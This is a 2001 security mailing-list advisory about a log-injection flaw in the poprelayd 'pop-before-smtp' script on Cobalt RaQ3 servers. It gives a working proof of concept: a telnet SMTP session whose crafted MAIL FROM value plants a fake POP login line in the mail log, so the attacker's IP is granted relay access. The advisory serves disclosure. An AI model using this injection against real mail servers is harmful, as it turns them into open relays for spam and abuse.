poprelayd and sendmail relay authentication problem (Cobalt Raq3)

From: Andrea Barisani (lcarsat_private)
Date: Tue Jul 03 2001 - 10:05:10 PDT

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    Hi to all,
    
    Poprelayd is a simple script that scan /var/log/maillog for valid pop
    logins and updates a hash db used by sendmail to permit relaying for
    those valid pop users, this method is called "Pop-before-smtp".
    
    The syslog string searched by the script is in this form for the qpop
    server
    	
    /POP login by user \"[\-\_\w]+\" at \(.+\) ([0-9]\.]+)/)
    
    On some cobalt raq3 servers (with the poprelayd add-on packet installed )  
    and in general on any system running the poprelayd script with sendmail is
    possible to "inject" this string in the syslog using sendmail logging. So
    anyone can insert a fake string with his own IP wich will be parsed by
    poprelayd and that will permit the use of sendmail as a relay.
    
    On cobalts the presence of poprelayd is revealed by the modified sendmail
    relaying denied message "Relaying denied. Please check your mail first." 
    
    Example:
    
    telnet dumbcobalt 25
    Trying 123.123.123.123...
    Connected to dumbcobalt
    ...
    ehlo dumbcobalt
    ...
    mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
    @linux.org"
    553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
    @linux.org"...Domain name required
    
    now the IP 66.66.66.66 can do relay :)
    
    in fact, on dumbcobalt:
    
    in /var/log/maillog
    
    ...reject=533 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
    @linux.org", size=0, class=0 ....etc etc...
    
    [root@dumbcobalt /]# /usr/sbin/poprelayd -p
    66.66.66.66 	7
    
    ;-)
    
    Bye
    
    ------------------------------------------------------------
    INFIS Network Administrator & Security Officer
    Department of Physics       - University of Trieste
    lcarsat_private - PGP Key 0x8E21FE82
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    "You must be,'said the Cat,'or you wouldn't have come here."
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